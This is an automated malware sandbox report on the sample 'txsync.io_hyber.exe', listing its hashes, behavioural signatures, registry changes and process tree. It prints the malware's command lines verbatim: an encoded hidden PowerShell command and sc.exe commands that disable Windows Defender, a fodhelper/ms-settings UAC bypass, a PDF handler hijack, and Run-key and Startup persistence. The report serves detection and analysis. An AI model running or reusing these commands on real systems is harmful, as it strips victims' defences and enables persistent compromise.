Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/11/2026, 01:24
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
txsync.io_hyber.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
txsync.io_hyber.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
40 signatures
150 seconds
General
- Target txsync.io_hyber.exe
- Size 49KB
- Sample261102-bslaya1y8q
- SHA256 9e2a997072b1038f9387223b434ac78019f76afbbf62c144d19718a00db6083e
- MD5 69ae57935de472fcaaf7c70240a02af2
- SHA1 d7ec2d78828879b0c92263a27de04245b6ca06d1
- SHA512 e71b26f7c9cfe8563041b259251d2114653b3a8842d1da239be44522676eddc042efe4b1e21fc523a6ca0e8375b169386e1aa061de071b50eb670967212190a6
- SSDEEP 768:LrVZZ6zs0htCDX291DUYgq3/NKPzfX/f+E4W:7Z6HhADX291oS3GP/f+E4W
- TLSH T1D333F54437FE4526D2BF5ABE89F251118331F4639C23DB4E1AD8459E19F3B008DA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4884-1-0x0000000000310000-0x0000000000322000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" txsync.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 752 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" txsync.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts txsync.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3324 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf txsync.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf txsync.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf txsync.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\txsync.io_hyber.exe" txsync.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5628 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe txsync.io_hyber.exe File created C:\Windows\system32\sysupdate.exe txsync.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe txsync.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4936 wscript.exe 2344 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" txsync.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\3170114693.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4576 sc.exe 4372 sc.exe 3580 sc.exe 2412 sc.exe 5364 sc.exe 1492 sc.exe 5928 sc.exe 6016 sc.exe 3212 sc.exe 3044 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3444 cmd.exe 788 cmd.exe 5672 cmd.exe 5728 cmd.exe 3384 cmd.exe 2444 cmd.exe 1600 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain txsync.io_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname txsync.io_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5528 ipconfig.exe 5380 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4708 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5496 vssadmin.exe 1440 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\WallpaperStyle = "2" txsync.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open txsync.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command txsync.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open txsync.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\txsync.io_hyber.exe" txsync.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\DelegateExecute txsync.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command txsync.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" txsync.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell txsync.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\txsync.io_hyber.exe\" \"%1\"" txsync.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open txsync.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command txsync.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell txsync.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings txsync.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings txsync.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell txsync.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet txsync.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2536 schtasks.exe 1684 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 752 powershell.exe 752 powershell.exe 752 powershell.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 5688 WMIC.exe 5688 WMIC.exe 5688 WMIC.exe 5688 WMIC.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 200 WMIC.exe 200 WMIC.exe 4884 txsync.io_hyber.exe 200 WMIC.exe 200 WMIC.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe 4884 txsync.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3484 LogonUI.exe Token: SeCreatePagefilePrivilege 3484 LogonUI.exe Token: SeDebugPrivilege 4884 txsync.io_hyber.exe Token: SeDebugPrivilege 752 powershell.exe Token: SeIncreaseQuotaPrivilege 752 powershell.exe Token: SeSecurityPrivilege 752 powershell.exe Token: SeTakeOwnershipPrivilege 752 powershell.exe Token: SeLoadDriverPrivilege 752 powershell.exe Token: SeSystemProfilePrivilege 752 powershell.exe Token: SeSystemtimePrivilege 752 powershell.exe Token: SeProfSingleProcessPrivilege 752 powershell.exe Token: SeIncBasePriorityPrivilege 752 powershell.exe Token: SeCreatePagefilePrivilege 752 powershell.exe Token: SeBackupPrivilege 752 powershell.exe Token: SeRestorePrivilege 752 powershell.exe Token: SeShutdownPrivilege 752 powershell.exe Token: SeDebugPrivilege 752 powershell.exe Token: SeSystemEnvironmentPrivilege 752 powershell.exe Token: SeRemoteShutdownPrivilege 752 powershell.exe Token: SeUndockPrivilege 752 powershell.exe Token: SeManageVolumePrivilege 752 powershell.exe Token: 33 752 powershell.exe Token: 34 752 powershell.exe Token: 35 752 powershell.exe Token: 36 752 powershell.exe Token: SeIncBasePriorityPrivilege 4884 txsync.io_hyber.exe Token: SeDebugPrivilege 2948 whoami.exe Token: SeDebugPrivilege 5628 tasklist.exe Token: SeDebugPrivilege 5380 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 752 powershell.exe Token: SeSecurityPrivilege 752 powershell.exe Token: SeTakeOwnershipPrivilege 752 powershell.exe Token: SeLoadDriverPrivilege 752 powershell.exe Token: SeSystemProfilePrivilege 752 powershell.exe Token: SeSystemtimePrivilege 752 powershell.exe Token: SeProfSingleProcessPrivilege 752 powershell.exe Token: SeIncBasePriorityPrivilege 752 powershell.exe Token: SeCreatePagefilePrivilege 752 powershell.exe Token: SeBackupPrivilege 752 powershell.exe Token: SeRestorePrivilege 752 powershell.exe Token: SeShutdownPrivilege 752 powershell.exe Token: SeDebugPrivilege 752 powershell.exe Token: SeSystemEnvironmentPrivilege 752 powershell.exe Token: SeRemoteShutdownPrivilege 752 powershell.exe Token: SeUndockPrivilege 752 powershell.exe Token: SeManageVolumePrivilege 752 powershell.exe Token: 33 752 powershell.exe Token: 34 752 powershell.exe Token: 35 752 powershell.exe Token: 36 752 powershell.exe Token: SeIncreaseQuotaPrivilege 5688 WMIC.exe Token: SeSecurityPrivilege 5688 WMIC.exe Token: SeTakeOwnershipPrivilege 5688 WMIC.exe Token: SeLoadDriverPrivilege 5688 WMIC.exe Token: SeSystemProfilePrivilege 5688 WMIC.exe Token: SeSystemtimePrivilege 5688 WMIC.exe Token: SeProfSingleProcessPrivilege 5688 WMIC.exe Token: SeIncBasePriorityPrivilege 5688 WMIC.exe Token: SeCreatePagefilePrivilege 5688 WMIC.exe Token: SeBackupPrivilege 5688 WMIC.exe Token: SeRestorePrivilege 5688 WMIC.exe Token: SeShutdownPrivilege 5688 WMIC.exe Token: SeDebugPrivilege 5688 WMIC.exe Token: SeSystemEnvironmentPrivilege 5688 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4884 txsync.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3484 LogonUI.exe 3484 LogonUI.exe 4884 txsync.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4884 wrote to memory of 752 4884 txsync.io_hyber.exe 93 PID 4884 wrote to memory of 4576 4884 txsync.io_hyber.exe 95 PID 4884 wrote to memory of 1492 4884 txsync.io_hyber.exe 97 PID 4884 wrote to memory of 3580 4884 txsync.io_hyber.exe 99 PID 4884 wrote to memory of 4372 4884 txsync.io_hyber.exe 101 PID 4884 wrote to memory of 5928 4884 txsync.io_hyber.exe 119 PID 4884 wrote to memory of 6016 4884 txsync.io_hyber.exe 105 PID 4884 wrote to memory of 3212 4884 txsync.io_hyber.exe 107 PID 4884 wrote to memory of 2412 4884 txsync.io_hyber.exe 109 PID 4884 wrote to memory of 2012 4884 txsync.io_hyber.exe 111 PID 2012 wrote to memory of 976 2012 fodhelper.exe 112 PID 4884 wrote to memory of 4936 4884 txsync.io_hyber.exe 114 PID 4884 wrote to memory of 2536 4884 txsync.io_hyber.exe 115 PID 4884 wrote to memory of 3444 4884 txsync.io_hyber.exe 122 PID 4884 wrote to memory of 1600 4884 txsync.io_hyber.exe 124 PID 4884 wrote to memory of 2444 4884 txsync.io_hyber.exe 125 PID 4884 wrote to memory of 3384 4884 txsync.io_hyber.exe 126 PID 4884 wrote to memory of 5728 4884 txsync.io_hyber.exe 127 PID 4884 wrote to memory of 5672 4884 txsync.io_hyber.exe 128 PID 4884 wrote to memory of 788 4884 txsync.io_hyber.exe 129 PID 4884 wrote to memory of 1684 4884 txsync.io_hyber.exe 130 PID 4884 wrote to memory of 2344 4884 txsync.io_hyber.exe 137 PID 4884 wrote to memory of 5888 4884 txsync.io_hyber.exe 139 PID 1600 wrote to memory of 4708 1600 cmd.exe 140 PID 4884 wrote to memory of 5496 4884 txsync.io_hyber.exe 141 PID 4884 wrote to memory of 5688 4884 txsync.io_hyber.exe 142 PID 4884 wrote to memory of 4524 4884 txsync.io_hyber.exe 143 PID 5672 wrote to memory of 5528 5672 cmd.exe 144 PID 4884 wrote to memory of 3324 4884 txsync.io_hyber.exe 145 PID 4884 wrote to memory of 5364 4884 txsync.io_hyber.exe 146 PID 4884 wrote to memory of 3044 4884 txsync.io_hyber.exe 147 PID 3384 wrote to memory of 2948 3384 cmd.exe 154 PID 2444 wrote to memory of 5628 2444 cmd.exe 155 PID 5728 wrote to memory of 3392 5728 cmd.exe 156 PID 3392 wrote to memory of 5664 3392 net.exe 157 PID 788 wrote to memory of 5380 788 cmd.exe 158 PID 4524 wrote to memory of 980 4524 net.exe 159 PID 3444 wrote to memory of 1440 3444 cmd.exe 163 PID 3444 wrote to memory of 200 3444 cmd.exe 164 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4576
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1492
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3580
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4372
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5928
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:6016
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3212
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2412
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe"3⤵PID:976
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4936
